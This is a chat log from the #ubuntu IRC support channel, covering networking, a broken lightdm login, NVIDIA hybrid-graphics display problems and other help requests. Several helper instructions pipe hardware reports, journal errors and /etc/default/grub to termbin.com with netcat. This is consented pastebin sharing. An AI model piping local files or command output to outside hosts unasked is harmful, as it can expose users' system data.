[00:01] <netcrash> tomreyn: thanks , ubottu
[00:01] <tomreyn> laserbeak4445: i would assume (don't really know netplan either, yet) that what you do not configur ein netplan won't get rendered into configurations and unconfigured NICs are not in use.
[00:02] <tomreyn> laserbeak4445: have you tried to verify this?
[00:03] <tomreyn> as a last resort you could always use rfkill
[00:03] <laserbeak4445> tomreyn: You mean verify with 'ip address show'?
[00:04] <tomreyn> laserbeak4445: ip l, ip a, ip r, yes
[00:05] <tomreyn> laserbeak4445: but also by looking at the systemd-networkd configuration netplan rendered.
[00:07] <laserbeak4445> tomreyn: 'ip a' tell me that the state of my wifi adapter is down so I guess it's a good sign
[00:08] <segersjerry> Hi, I'm trying to follow the walkthrough at https://help.ubuntu.com/community/ManyButtonsMouseHowto and the first thing he says to do is imwheel -c but when I do that all I get is "Configuration terminated by signal 11" Does anyone know of a better walkthrough?
[00:09] <laserbeak4445> and to check the systemd-networkd configuration netplan rendered, how can do that?
[00:14] <laserbeak4445> ok I figure it was with 'sudo systemctl status systemd-networkd'
[00:15] <tomreyn> right
[00:15] <laserbeak4445> when I check that, I get 'Link is not managed by us' beside the wifi adapter name..?
[00:16] <tomreyn> so it's not managed by systemd-networkd
[00:16] <tomreyn> meaning it wont bring it up
[00:19] <laserbeak4445> if it's not managed by systemd-networkd, could it also mean that it is manage by something else on the system or not really?
[00:20] <tomreyn> network-manager would be the other suspect
[00:20] <tomreyn> the actual systemd-networkd configuration file should reside in /etc/systemd/network/
[00:21] <laserbeak4445> but it's 18.04 server. network-manager is not installed by default afaik
[00:21] <tomreyn> "nmcli d" to see what it manages
[00:22] <tomreyn> "dpkg -l networkmanager" to see whether it's installed (ii).
[00:23] <Bashing-om> laserbeak4445: -server is expected to use systemd-networkd, and it's configured via netplan .
[00:25] <laserbeak4445> I can confirm, there is no network-manager installed on my 18.04 server and it seems to only use networkd, so I should be fine..
[00:25] <VectorX> hi im installing vbox guest additions to a ubuntu guest, but it doesnt seem to take any effect, following, https://websiteforstudents.com/installing-virtualbox-guest-additions-on-ubuntu-18-04-beta/
[00:26] <laserbeak4445> Thanks guys for the help!
[00:34] <tomreyn> VectorX: you cna install them from a terminal and watch the output. i assume also that the virtualbox guest additions version in ubuntu 18.04 won't actually work with an ubuntu 18.04 guest, since they can be too old.
[00:36] <tomreyn> that's 'too old' as in lacking patches needed to make them work well on ubuntu 18.04. if you'll run the latest upstream release (they also provide an apt repository) it should work out.
[00:36] <VectorX> tomreyn so how would i install it
[00:37] <tomreyn> VectorX: what is "it"?
[00:37] <VectorX> vbox guest additions
[00:38] <VectorX> im sorry let me rewrite that so it maybe a bit more clear
[00:38] <VectorX> tomreyn so how would i install vbox guest additions on ubuntu 18.04 from the latest upstream as you mentioned
[00:39] <VectorX> i found this, but i dont know how to install it https://launchpad.net/ubuntu/bionic/+source/virtualbox-guest-additions-iso
[00:39] <VectorX> if that is something inline with what you are sayinh
[00:39] <tomreyn> you install the updated virtualbox release, then you insert the iso image on the guest's cdrom (using the menu option provided for it), then mount the iso on the guest, then change into the directory where you mounted it and run the installer .sh there and see what happens.
[00:40] <VectorX> ok let me try that
[00:41] <tomreyn> so that's basically the same process as on the tutorial you followed, just that you do it on a newer virtualbox release and thus with a newer guest additions ISO
[00:46] <VectorX> tomreyn thanks, that worked
[00:46] <ghost_> All please take a look at this https://www.hublinux.com/
[00:47] <oerheks> ghost_, no spam, thanks.
[00:47] <ghost_> Well I wouldn't call it spam but that's just me
[00:52] <Two_Dogs> apport by default must be breaking some new privacy rule
[00:57] <UIDNull> I just installed Ubuntu onto my XPS which has a touchscreen. When I tap it does a double click. Anyone know how to fix this?
[01:19] <nenouvar> list
[01:19] <nenouvar> LIST
[01:21] <gbellinoz> slash list ?
[01:22] <zeon98> Hi all
[01:26] <zeon98> Hi AarKnos
[01:28] <zeon98> Hi all
[01:28] <zeon98> Hi all
[01:40] <RoadRunner> can't login on xubuntu 18.04 in gui (only in tty); changing lightdm's config doesn't solve the issue 'cause accountservice is running - is there a way to turn it off or change its config?
[01:50] <RoadRunner> or is it faster to reinstall os then trying to track down and fix this corruption (my /home is sepparate)?
[01:51] <Two_Dogs> RoadRunner: have a home partition now? if yes then re-install is faster
[01:52] <RoadRunner> Two_Dogs: yes, I learned that lesson :)
[01:53] <Two_Dogs> RoadRunner: cool, re-install then
[01:53] <Two_Dogs> RoadRunner: save any folders/confs you tweaked
[01:54] <RoadRunner> Two_Dogs: all the app specific confs should be in /home, that is the whole idea, right?
[01:55] <Two_Dogs> RoadRunner: yes, all those are safe, i meant something you tweaked on the system side
[01:56] <Two_Dogs> RoadRunner: usually done in /etc , if you did you would remember doing so
[01:57] <RoadRunner> for the future, is there a known issue with older aps using gtk 2, GL, etc. I would not want to be back in this boat again after installing something else tommorow?
[01:58] <Two_Dogs> RoadRunner: install plasma desktop and no gtk issues :)
[01:58] <oerheks> "older apps"... who knows, in the future?
[01:58] <RoadRunner> the corruption likely occured after I installed xscreensavers/rss-glx which must have affected gtk
[01:59] <oerheks> oh, not the borked upgrade from 16.04 ?
[01:59] <oerheks> or 17.10, whatever :-P
[02:00] <RoadRunner> borked? :)
[02:01] <Two_Dogs> i notice borked networking on upgrades
[02:02] <RoadRunner> xscreensavers were installed by "Software" and rss-glx by Synaptic everything seemed to be  tied to bionic
[02:03] <RoadRunner> oerheks: so its a known issue?
[02:11] <oerheks> no idea there, https://bugs.launchpad.net/ubuntu/+source/rss-glx/+bugs
[02:19] <gnuser> My Ubuntu bionic seems to have some memory recognition issue.. it shows total of 15GB as expected but the odd thing is, it shows used 6GB and free 2GB.. it seems to me the available memory is not matching the 16G total
[02:22] <jpleau> gnuser: where are you looking at to get your numbers?
[02:25] <RoadRunner> any recommenadations for a decent screensaver package that will not crash xubuntu 18.04?
[02:28] <Two_Dogs> RoadRunner: why not use pwr management, dim screen, suspend after ??min
[02:30] <Two_Dogs> RoadRunner: on the default 18.04 it is avail option/s
[02:30] <RoadRunner> Two_Dogs: I like cool effects :)
[02:30] <Two_Dogs> ahh
[02:31] <Two_Dogs> RoadRunner: heres a cool effect, wallpaper
[02:32] <RoadRunner> Two_Dogs: you are so retro :):)
[02:32] <Two_Dogs> screensaver is overhead
[02:34] <RoadRunner> this corruption scarred me though, didn't think some app's gtk issue would deny me access to the system
[02:34] <Two_Dogs> seems odd that userspace app borks gdm
[02:35] <RoadRunner> I am running xubuntu, in my case its lightdm
[02:36] <Two_Dogs> RoadRunner: lightdm was default install?
[02:36] <RoadRunner> yes
[02:36] <Two_Dogs> RoadRunner: you got someway to connect to borked via ssh perhaps?
[02:37] <RoadRunner> why?
[02:37] <Two_Dogs> RoadRunner: well then you could see where who did what in the library with the candlestick
[02:38] <RoadRunner> I can get in with tty
[02:38] <Two_Dogs> logs/journalctl etc
[02:38] <Two_Dogs> then find cause of bork, the point is fixing issue, otherwise it might as well be windows
[02:40] <RoadRunner> looked at /var/log/syslog but its over 100 screens of text and nothing jumped out at me (but then, I am no expert)...
[02:42] <Two_Dogs> RoadRunner: execute> journalctl -b --pri=3 ## them are errors only lines
[02:43] <RoadRunner> is there a way to check my current install against a healthy one  like with software updater or something?
[02:44] <Two_Dogs> comparing is so retro dude
[02:45] <RoadRunner> :)
[02:45] <RoadRunner> but beats looking for a needle in a haystack
[02:45] <Two_Dogs> errors stick out
[02:45] <RoadRunner> which logs do you suggest I check?
[02:46] <Two_Dogs> i told you
[02:46] <Two_Dogs> RoadRunner: execute> journalctl -b --pri=3 ## them are errors only lines
[02:46] <RoadRunner> I  thought that command would work only on a specific log?
[02:47] <Two_Dogs> RoadRunner: no, that is userspace/systemspace errors, on journalctl anyway
[02:47] <Two_Dogs> RoadRunner: there is also xsession-errors log somewhere
[02:48] <RoadRunner> ok, assuming I dig up something, how do I copy that output to a usb?
[02:48] <RoadRunner> remember, I only have tty
[02:51] <Two_Dogs> RoadRunner: remember my asking about ssh in?
[02:52] <RoadRunner> Two_Dogs: I remember,  it's a no on that one
[02:53] <Two_Dogs> RoadRunner: you got something you could use to ssh into the borked from within the lan? phone? working linux? ipad? etc
[02:54] <Two_Dogs> hello?
[02:55] <RoadRunner> I got a working linux on this lan, but then I'd have to install ssh on  "borked" and I am afraid you'd have to spoon feed me through the rescue...
[02:56] <Two_Dogs> RoadRunner: well, right now all we are doing is playing suppose and maybe
[02:57] <Two_Dogs> i hate suppose and maybe, besides i gave you the command to get somewhere already
[02:57] <RoadRunner> working on that now
[02:57] <Two_Dogs> its that or i continue to break virt of 18.04 just because
[02:58] <Two_Dogs> the gnome-shell panel cant be placed on top?
[03:03] <RoadRunner> just tty
[03:03] <RoadRunner> ran your command
[03:03] <RoadRunner> got 8 lines of errors
[03:05] <Two_Dogs> RoadRunner: is pastebinit installed on borked?
[03:05] <syb0rg> RoadRunner, I wasn't here when this convo started but if you have errors it generally is a good idea to share them
[03:05] <Two_Dogs> RoadRunner: what syb0rg said :)
[03:05] <RoadRunner> here is one:  lightdm [729]: PAM unable to dlopen(pam_kwallet.so): /lib/security/pam_kwallet.so: cannot open shared object
[03:06] <RoadRunner> no pastebinit is not installed
[03:06] <Two_Dogs> RoadRunner: install it on borked
[03:06] <RoadRunner> how?
[03:06] <Two_Dogs> RoadRunner: sudo apt install pastebinit
[03:06] <RoadRunner> ok
[03:06] <Two_Dogs> on borked
[03:07] <Two_Dogs> RoadRunner: execute> journalctl -b --pri=3 | pastebinit ## gets url, share url here
[03:08] <RoadRunner> Two_Dogs: after your command, can't get back to command input
[03:08] <Two_Dogs> RoadRunner: exact command executed, show here
[03:09] <RoadRunner> Two_Dogs: I understand, but after running that command I can't get back to command input
[03:09] <Two_Dogs> http://paste.ubuntu.com/p/KFyCRbzdrd/ i tested here, works
[03:10] <Two_Dogs> RoadRunner: show command you executed here
[03:10] <Two_Dogs> journalctl -b --pri=3 | pastebinit <-- this is what i executed
[03:11] <RoadRunner> Two_Dogs: journalctl -b --pri=3 | pastebinit ##   <-is what I did
[03:11] <RoadRunner> sorry:  journalctl -b --pri=3 ##
[03:12] <Two_Dogs> journalctl -b --pri=3 | pastebinit <-- do RoadRunner
[03:12] <RoadRunner> give me time to reboot, install pastbinit and run your command
[03:13] <Two_Dogs> RoadRunner: anything after a '#' is a remark and not code to run
[03:15] <Two_Dogs> gnome-shell is a very nice desktop actually, i have kde apps running with qt5ct and they look great
[03:16] <Two_Dogs> logout does not seem to be something ready available though
[03:21] <RoadRunner> Two_Dogs: http://paste.ubuntu.com/p/zx3MStwf4S/
[03:23] <Two_Dogs> those errors dont count :)
[03:26] <RoadRunner> what are they?
[03:26] <Two_Dogs> RoadRunner: i would re-install lightdm
[03:26] <eik> hey guys
[03:26] <eik> i need some help booting into Ubuntu x.x
[03:26] <RoadRunner> Two_Dogs: how?
[03:27] <Two_Dogs> RoadRunner:  copy/paste & execute via terminal> sudo aptitude reinstall lightdm
[03:27] <eik> i used Rufus to make a bootable usb stick
[03:28] <eik> but i just booted into it and it just spit me into grub
[03:28] <eik> it's been like 3 years since i last used Ubuntu how do i get in
[03:28] <lighthunter> been struggling to get my laptop working again since upgrading from Ubuntu 17.10 to 18.04. i have an NVIDIA GeForce GTX 1050 Ti graphics card. when i upgraded to 18.04 i started getting a black screen on boot after the Ubuntu splash screen. since then i have installed the nvidia-driver-396 from the graphics-drivers PPA. at first it didn't resolve my inability to boot, so i deleted
[03:29] <eik> i have the correct root i'm assuming (the USB stick)
[03:29] <eik> but i don't know where to load the kernel from
[03:30] <eik> i thought it would have just booted into Ubuntu, not grub
[03:30] <lighthunter> ... /etc/X11/xorg.conf per #72 from https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1752053/+index?comments=all. now my laptop boots, but i can't get it to display on my external monitor anymore.
[03:30] <Two_Dogs> lighthunter: you installed over the older nvidia driver ?
[03:31] <eik> ..
[03:31] <lighthunter> i ran `sudo apt purge *nvidia*` before installing nvidia-driver-396.
[03:31] <Two_Dogs> lighthunter: ok
[03:31] <lighthunter> (and sudo apt autoremove)
[03:32] <eik> can someone please help me /_\
[03:32] <Bashing-om> lighthunter: Secure boot disabled ?
[03:34] <RoadRunner> Two_Dogs: "aptitude" didn't fly
[03:34] <eik> wait
[03:34] <eik> there we go!!
[03:34] <RoadRunner> Two_Dogs: how about just sudo apt install lightdm?
[03:35] <eik> typed exit to reach windows boot manager, chose Ubuntu with CAPITAL U, and we in
[03:35] <eik> :thinking;
[03:36] <eik> but why were there two options in first place
[03:36] <eik> one lowercase (grub), one uppercase (proper)
[03:36] <eik> odd
[03:37] <lotuspsychje> good morning to all
[03:37] <SporkWitch> that's an oxymoron
[03:42] <lighthunter> Bashing-om: yes, i disabled secure boot.
[03:45] <Bashing-om> lighthunter: K; what now does the gpu-manager log relate ? pastebin ' cat /var/log/gpu-manager.log ' .
[03:49] <lighthunter> https://pastebin.com/hPZen7k3
[03:52] <RoadRunner> Two_Dogs: ok, removed, purged, reinstalled lightdm - no diff
[03:52] <jmadero> ctrl + .alt + f1 sends me to GUI login instead of TTY in Ubuntu 18.04, is there a workaround for this?
[03:52] <jmadero> TTY1*
[03:53] <Bashing-om> lighthunter: Intel hybrid system .. what shows '
[03:54] <Bashing-om> echo $XDG_SESSION_TYPE ' ?
[03:54] <lighthunter> x11
[03:56] <RoadRunner> Two_Dogs: if you have any other ideas I'll be happy to try them
[03:57] <tsarompy> hai #ubuntu
[03:57] <Bashing-om> lighthunter: so far so good . pastebin ' lsmod | grep nvidia ; dpkg -l | grep -i nvidia* ' .
[03:59] <Merysan> hello?
[04:00] <Merysan> I'm new here :) first time using an IRC client :)
[04:00] <Merysan> Can someone tell me something I should now? :) please :)
[04:01] <Bashing-om> Merysan: Welcome to ubuntu support :)
[04:01] <Merysan> Thank you :)
[04:01] <Merysan> I just followed a tutorial.. and it led me here :)
[04:02] <jmadero> Merysan: IRC is about asking specific questions that need answered, genreally "tell me something I should know" generally won't get responses
[04:02] <lotuspsychje> Merysan: this channel takes ubuntu issues/questions, feel free to ask 'if' you have a problem
[04:04] <lenovo> gestalt _ruben
[04:05] <lighthunter> https://pastebin.com/4KnkKj4Z
[04:06] <lighthunter> Merysan: i will try to set a good example for you since i am currently asking for help ;).
[04:08] <Merysan> okay :) I'll observe the community :) thanks for helping out :)
[04:08] <fl00fykittry> you should know what | does
[04:08] <jmadero> lol maybe a good lesson is not 20 smiley faces over 4 lines of text :-b
[04:09] <lighthunter> Merysan: in the meantime, https://github.com/fizerkhan/irc-etiquette has a good summary of the differences between typical face-to-face human interactions and typical human interactions over IRC.
[04:09] <jmadero> did Ubuntu change the behavior of ctrl+alt+f1? how can I get to TTY1 now?
[04:09] <Bashing-om> lighthunter: Humm, Mo fault found to this time .. what shows ' sudo lshw -C display ' ?
[04:11] <lighthunter> https://pastebin.com/BTyVyZBP
[04:11] <Bashing-om> jmw: The GUI now rins in TTY1 .
[04:11] <Bashing-om> runs*
[04:11] <jmadero> Bashing-om: hm - how can I get to a terminal, I've had to hard reboot several times because I can't get to a TTY1 terminal to kill software
[04:12] <lighthunter> Merysan: much of the rationale for that guide comes from the fact that there are, for example, 1,650 users (admittedly probably not all human) in this chatroom at the moment.
[04:13] <lighthunter> jmadero: Ctrl + Alt + F2
[04:13] <lighthunter> (or F3, F4, ...)
[04:13] <Bashing-om> jmadero: try as F2 ?
[04:13] <jmadero> will try, brb
[04:13] <jmadero> doesn't do anything at all
[04:14] <lighthunter> i have noticed that sometimes i have to try a few times and/or there is a considerable latency.
[04:14] <lighthunter> perhaps this is obvious, but you can use Ctrl + Alt + F1 to return to the GUI.
[04:15] <Bashing-om> lighthunter: All the pieces are present . I do not have the skills to say why the desktop is a black screen :(
[04:16] <jmadero> lighthunter: in all other versions of Ubuntu and in any other distro I've used F1 is for TTY1 terminal which was ALWAYS useful for killing software that is leaking memory or causing other issues
[04:16] <jmadero> I may have to explore other distros again if I can't get to a TTY terminal - this is super weird
[04:16] <jmadero> AH f3 !
[04:16] <lighthunter> Bashing-om: to be clear, i can boot just fine ever since i deleted /etc/X11/xorg.conf. i simply can't get my computer to recognize an external monitor.
[04:17] <Two_Dogs> lighthunter: is the monitor connected now?
[04:17] <lighthunter> jmadero: yes, Ctrl + Alt + F1 was changed in Ubuntu to be the place the GUI lives.
[04:17] <lighthunter> Two_Dogs: yes
[04:18] <Two_Dogs> lighthunter: does 'xrandr' see both displays?
[04:18] <lighthunter> no
[04:19] <lighthunter> https://pastebin.com/tsafgT2p
[04:19] <Bashing-om> lighthunter: Try from a cold boot with the external monitor connected . Does the kernel then pick it up ?
[04:19] <lighthunter> _running experiment... brb_
[04:20] <Two_Dogs> !forum
[04:21] <Two_Dogs> ubuntu forums borked or the link?
[04:22] <Bashing-om> Two_Dogs: I am logged into the forum, I have not seen any issues .. lemme check again .
[04:23] <Two_Dogs> Bashing-om: share link pls
[04:23] <Bashing-om> Two_Dogs: No problem with the dorum seen here . and the link is correct .
[04:23] <lighthunter> rebooting with the external monitor connected didn't do the trick, unfortunately.
[04:24] <Bashing-om> Two_Dogs: Presently at https://ubuntuforums.org/search.php?searchid=17432753 .
[04:25] <Bashing-om> lighthunter: excuse the obvious, but a known good cable ?
[04:26] <Two_Dogs> Bashing-om: your link works
[04:26] <lighthunter> he he, fair question. at the very least, i can promise you the cable worked before i upgraded to Ubuntu 18.04.
[04:27] <Two_Dogs> lighthunter: share Xorg.0.log pls
[04:28] <Two_Dogs> lighthunter: either i have seen you ask the same question once before or someone else has same issue or had
[04:29] <lighthunter> yeah, i was here earlier today too. thewaspsknees helped me get to the point where i am now since previously i couldn't even boot. there are a number of folks with my issue though.
[04:30] <lighthunter> Two_Dogs: would you like the Xorg.0.log in ~/.local/share/xorg/, /var/log/, or /var/lib/gdm3/.local/share/xorg/?
[04:31] <lighthunter> Bashing-om: i can confirm that the same HDMI cable currently works with a different laptop also running Ubuntu 18.04 (but lacking the oh so troublesome NVIDIA graphics card).
[04:31] <Two_Dogs> lighthunter: i hope the all say same thing, the gdm3 one
[04:33] <lighthunter> https://pastebin.com/NDReXp05
[04:37] <Bashing-om> Two_Dogs: lighthunter : Huh ? " 36.435] xf86EnableIOPorts: failed to set IOPL for I/O (Operation not permitted) " new one on me !
[04:37] <Two_Dogs> Bashing-om: thats a google
[04:41] <Two_Dogs> lighthunter: did you test with default driver?
[04:42] <lighthunter> do you mean the proprietary nvidia-390 driver, nouveau, or something else?
[04:45] <Two_Dogs> lighthunter: did you test with default driver? i mean using system with nvidia purged
[04:46] <lighthunter> yeah, i believe that would be the nouveau driver. i wasn't able to boot in that case without specifying nomodeset.
[04:47] <lighthunter> (that much was consistent between Ubuntu 17.10 and Ubuntu 18.04.)
[04:48] <Two_Dogs> lighthunter: ok, but were both displays avail?
[04:49] <Two_Dogs> lighthunter: install inxi
[04:50] <lighthunter> i didn't check :-/.
[04:51] <lighthunter> installing inxi
[04:51] <Two_Dogs> lighthunter: copy/paste & execute via terminal> inxi -SGrxxzc0 | nc termbin.com 9999 ## share link output here
[04:51] <Two_Dogs> there is no personal data in dump unless you are hardware
[04:52] <lighthunter> http://termbin.com/823v
[04:55] <Two_Dogs> lighthunter: copy/paste & execute via terminal> journalctl --dmesg --pri=3 | nc termbin.com 9999 ## share link output here
[04:56] <Two_Dogs> that ubuntu forum is difficult to search
[04:58] <lighthunter> http://termbin.com/izoe
[04:58] <lighthunter> which forum are you in out of curiosity?
[04:59] <Bashing-om> Two_Dogs: search ubuntu forum - yeah . better result searching from google as ' site:ubuntuforums.org. <search term> ' .
[04:59] <lighthunter> oh, that ubuntu forum, lol; gotcha.
[05:00] <Two_Dogs> Bashing-om: thnks
[05:05] <Two_Dogs> lighthunter: copy/paste & execute via terminal> (inxi -CMxc0 ; inxi -lsmod ; dkms status) | nc termbin.com 9999 ## share link output here
[05:08] <lighthunter> http://termbin.com/o2cn (although it looks kinda funky... lots of special characters?)
[05:09] <Two_Dogs> https://goo.gl/4R8Lnu lighthunter you are not alone
[05:10] <Two_Dogs> lighthunter: inxi -.......Charlie-zero
[05:10] <Mimas> Does anyone know how I can run a virtual Ubuntu on a Win10 machine using Hyper-V? If I turn off Hyper-V I can use VirtualBox, but I can't use Docker at the same time
[05:12] <Two_Dogs> lighthunter: copy/paste & execute via terminal> (lsmod ; dkms status) | nc termbin.com 9999 ## share link output here
[05:13] <lotuspsychje> Mimas: there a nice #vbox channel if you want
[05:14] <Mimas> thanks lotuspsychje I'll check there
[05:14] <lighthunter> Two_Dogs: hmm... yeah... that was charlie zero
[05:14] <lighthunter> sorry that i can't confirm by copying and pasting
[05:14] <lighthunter> i am using an IRC client that has Ctrl + C bound to disconnect by default lol
[05:16] <Two_Dogs> lighthunter: copy/paste & execute via terminal> (lsmod ; dkms status) | nc termbin.com 9999 ## share link output here
[05:17] <lighthunter> http://termbin.com/pjp4
[05:20] <Two_Dogs> lighthunter: can you disable onboard 'intel' graphics via bios?
[05:23] <lighthunter> will try... brb
[05:38] <whoami> hello
[05:40] <whoami> helo world
[05:41] <lighthunter> Two_Dogs: unfortunately, no, there is no way to disable intel in my UEFI settings :-/.
[05:41] <Two_Dogs> lighthunter: ok
[05:42] <whoami> ping
[05:42] <whoami> yes man
[05:42] <barcode> hello
[05:43] <whoami> hello
[05:43] <barcode> where is arch linux channel ?
[05:43] <matjam> #archlinux
[05:43] <barcode> but in #archlinux i should register ! how can i register ?
[05:44] <matjam> barcode: https://freenode.net/kb/answer/registration
[05:45] <barcode> matjam: thanks but i read it before and im confused :(
[05:46] <Two_Dogs> lighthunter: you have edited /etc/default/grub previously?
[05:46] <Guy1524_> hey guys, I am having a really strange issue
[05:46] <matjam> barcode: barcode try #freenode
[05:47] <Guy1524_> starting yesterday, my powerful laptop has gotten a lot slower on Ubuntu
[05:47] <Guy1524_> and the reason is really weir
[05:47] <matjam> barcode: this channel is for Ubuntu support.
[05:47] <Guy1524_> my CPU usage won't go above a certain percentage
[05:47] <Guy1524_> causing my computer to lag
[05:47] <matjam> Guy1524_: your machine may be overheating, some chipsets throttle CPU when they are running hot.
[05:47] <noval> assalamualaikum..
[05:47] <Guy1524_> my machine isn't hot though
[05:48] <Guy1524_> it's a really strange issue
[05:48] <matjam> it might not feel hot to you but if the built-in sensor is faulty it could be reading a high temperature.
[05:49] <lighthunter> Two_Dogs: i don't recall ever editing /etc/default/grub, which i suppose isn't necessarily the same thing :-/.
[05:49] <SuperLag> What is the "madison" argument to apt-cache for?
[05:49] <noval> hello man
[05:49] <Guy1524_> https://paste.ubuntu.com/p/9575w2NZbN/
[05:50] <Two_Dogs> lighthunter: copy/paste & execute via terminal> cat /etc/default/grub | nc termbin.com 9999 ## share link output here
[05:50] <matjam> SuperLag: if you "man apt-cache" and type "/madison" and hit enter, you'll see the explanation
[05:50] <Guy1524_> it's weird because it just starte happening
[05:50] <Guy1524_> I wasn't even doing much
[05:50] <Guy1524_> when it started
[05:51] <SuperLag> matjam: Well, that was awesome: man: nroff: Bad system call (core dumped)
[05:51] <matjam> SuperLag: lol
[05:51] <Two_Dogs> lighthunter: what method did you use to install nvidia driver?
[05:51] <matjam> SuperLag: wow, that should not be happening
[05:51] <SuperLag> matjam: I've tried it with both bash and fish. Same result.
[05:52] <lighthunter> http://termbin.com/jib8
[05:52] <lighthunter> "Software & Updates > Additional Drivers > Apply Changes"
[05:52] <matjam> SuperLag: you on 64bit?
[05:52] <SuperLag> matjam: yep
[05:53] <lighthunter> (before that i did sudo add-apt-repository ppa:graphics-drivers/ppa.)
[05:55] <barcode> matjam: i regester my nickname but can't find any emails on my mail account
[05:55] <Two_Dogs> lighthunter: what editor do you use ? and know how to edit system files?
[05:56] <lighthunter> vim and yes
[05:56] <SuperLag> barcode: check your spam folder
[05:56] <matjam> barcode: please ask in #freenode, this is not a support channel for freenode, #freenode is.
[05:56] <barcode> SuperLag: nothing
[05:56] <SuperLag> barcode: and like matjam said... #freenode
[05:57] <matjam> SuperLag: I see some related bugs in debian which look similar to that error message .. 18.04?
[05:57] <SuperLag> matjam: yep
[05:57] <Two_Dogs> GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i915.modeset=0" <-- lighthunter make change to file to reflect the added option
[05:57] <Two_Dogs> i915.modeset=0 <-- added to line lighthunter
[05:58] <lighthunter> roger; done. do i need to run sudo update-grub or something like that?
[05:58] <Two_Dogs> lighthunter: the point of the exercise is to blacklist i915 intel graphics
[05:59] <Two_Dogs> lighthunter: yes, do
[05:59] <Two_Dogs> update-grub, do
[05:59] <lighthunter> and now reboot?
[05:59] <Two_Dogs> yes do :)
[05:59] <lighthunter> yeehaw; brb
[06:00] <whoami> how are you
[06:01] <matjam> SuperLag: I feel like thats a bug in man-db
[06:01] <matjam> SuperLag: i looked on launchpad but dont see anything relevant
[06:03] <whoami> sleepy princess
[06:03] <SuperLag> matjam: so much for man lookups :D
[06:04] <whoami> hey man where are you life?
[06:04] <matjam> SuperLag: so http://manpages.ubuntu.com/manpages/bionic/man8/apt-cache.8.html
[06:04] <barcode> no one answer in #freenode :) hahaha
[06:04] <matjam> SuperLag: its some old command emulation thing.
[06:05] <matjam> barcode: we can't help you here, please just be patient there.
[06:05] <whoami> just kidding:D
[06:05] <barcode> matjam: okey thanks all
[06:06] <whoami> okey man:)
[06:11] <whoami> assalamualaikum:D
[06:11] <SuperLag> matjam: interesting. Thank you.
[06:12] <SuperLag> Any of you folks use Docker on Ubuntu? (that's how I got to looking at apt-cache stuff)
[06:12] <visip> yep
[06:12] <whoami> zeeb
[06:13] <SuperLag> I'm trying to figure out the right package name to install, because even though I've added the repo, there is no package called "docker-ce"
[06:14] <matjam> SuperLag: probably because the bionic build doesn't exist yet: https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/
[06:14] <SuperLag> matjam: looks like it's docker.io
[06:15] <SuperLag> as there was already a package called docker, but it's something else
[06:15] <whoami> whoami
[06:15] <matjam> yes, docker.io have not published docker for bionic yet.
[06:15] <matjam> I got the url from https://docs.docker.com/install/linux/docker-ce/ubuntu/#set-up-the-repository
[06:15] <Two_Dogs> docker in flatpak?
[06:16] <SuperLag> it does work here
[06:16] <Tegu> at least there is some docker.io package  https://packages.ubuntu.com/bionic/docker.io
[06:16] <matjam> SuperLag:  you could install one of the packages from here https://download.docker.com/linux/ubuntu/dists/bionic/pool/test/amd64/
[06:16] <lighthunter> Two_Dogs: boot hung at the splash screen with i915.modeset=0 :-/.
[06:16] <matjam> but you know, not supported, yadda yadda. What did the #docker peeps say
[06:17] <matjam> you should probably go talk to them.
[06:17] <SuperLag> matjam: I went there first. Pretty quiet this time of night.
[06:17] <matjam> well, you know, we only support #ubuntu in here, not docker ..
[06:18] <Two_Dogs> lighthunter: or nvidia is hanging at splash screen?
[06:18] <SuperLag> matjam: I knew the drill. Thank you for the goodwill, in any case.
[06:18] <matjam> unless its the docker package in ubuntu, then we can support that
[06:18] <matjam> ie, docker.io
[06:19] <lighthunter> Two_Dogs: certainly possible, i didn't mean to imply that it wasn't nvidia.
[06:20] <Two_Dogs> lighthunter: hard to tell, i'll assume i915 is not playing anymore if that option is used
[06:21] <Two_Dogs> lighthunter: something else, i would have expected nvidia install to blacklist i915 and nouveau, i915 was active in lsmod and inxi saw it also
[06:22] <Two_Dogs> lighthunter: what about the nvidia being borked, considered install of nvidia from nvidia web site?
[06:23] <Two_Dogs> lighthunter: besides everything else being possible cause, tried another kernel? your kernel is current?
[06:25] <lighthunter> could be ... i am reluctant to install from the .run if that's what you mean, because it isn't packaged and doesn't seem to uninstall properly. (also, it didn't come anywhere close to working for me on Ubuntu 17.10.)
[06:26] <lighthunter> i am on 4.15.0-22-generic.
[06:26] <lighthunter> i haven't tried another kernel yet.
[06:26] <lighthunter> i haven't tried the nvidia-390 PPA driver either.
[06:27] <Two_Dogs> lighthunter: the kernel on 17.10 was what? and were you using exact driver for nvidia also?
[06:27] <Two_Dogs> lighthunter: i would use the nvidia ppa before joebobs ppa
[06:28] <lighthunter> i was using nvidia-384 if i remember correctly
[06:28] <lighthunter> not sure what the kernel was, but i was just using whatever the default was for Ubuntu
[06:28] <Two_Dogs> lighthunter: if you use nvidia ppa then purge first
[06:28] <lighthunter> yeah, i always purge first with these graphics drivers, but thank you for the reminder.
[06:29] <lighthunter> i am going to have to continue tomorrow unfortunately, but will try those suggestions and be back online tomorrow if i'm still stuck.
[06:29] <matjam> the PPAs are much safer to install than the .run things, I never use them.
[06:31] <Two_Dogs> lighthunter: i saw one search hit that made some sense, it said that when you got a driver:intel,nvidia thing going intel trumps and drm screws up and somehow that borks displays avail, no idea, but that was the reason for the blacklist of i915, and if you blacklisted 1915 via the modres.d method i bet you would be seeing black screen
[06:31] <lighthunter> interesting; i take it i915 is the intel graphics card?
[06:32] <Two_Dogs> lighthunter: indeed, the driver for intel graphics card
[06:34] <lighthunter> gotcha; yeah, i think i probably need that driver working too, no?
[06:36] <Two_Dogs> intel driver consumes less batt, working alone
[06:39] <thinky> hello
[06:39] <thinky> i am having problem with Opera browser on ubuntu 18.04
[06:40] <lighthunter> yeah, for sure; it's a performance/battery power tradeoff.
[06:40] <thinky> when i try to stream a video on a website, it freezes. it doesnt let me use mouse or use anything
[06:40] <thinky> it just stucks a
[06:40] <thinky> cant even open terminal when it happens
[06:40] <thinky> how can i fix this problem?
[06:40] <gbellinoz> thinky: meaning like YouTube?  Which browser?  How do you get out of it?
[06:40] <thinky> gbellinoz: Opera browser
[06:40] <thinky> no not like youtube
[06:40] <Two_Dogs> thinky: use some other browser to test
[06:40] <thinky> i didnt try youtube
[06:41] <thinky> Two_Dogs: firefox working well
[06:41] <thinky> but Opera doesnt
[06:41] <Two_Dogs> thinky: so opera is not gonna be on the menu
[06:42] <thinky> but i want to use Opera
[06:42] <matjam> but we don't support Opera
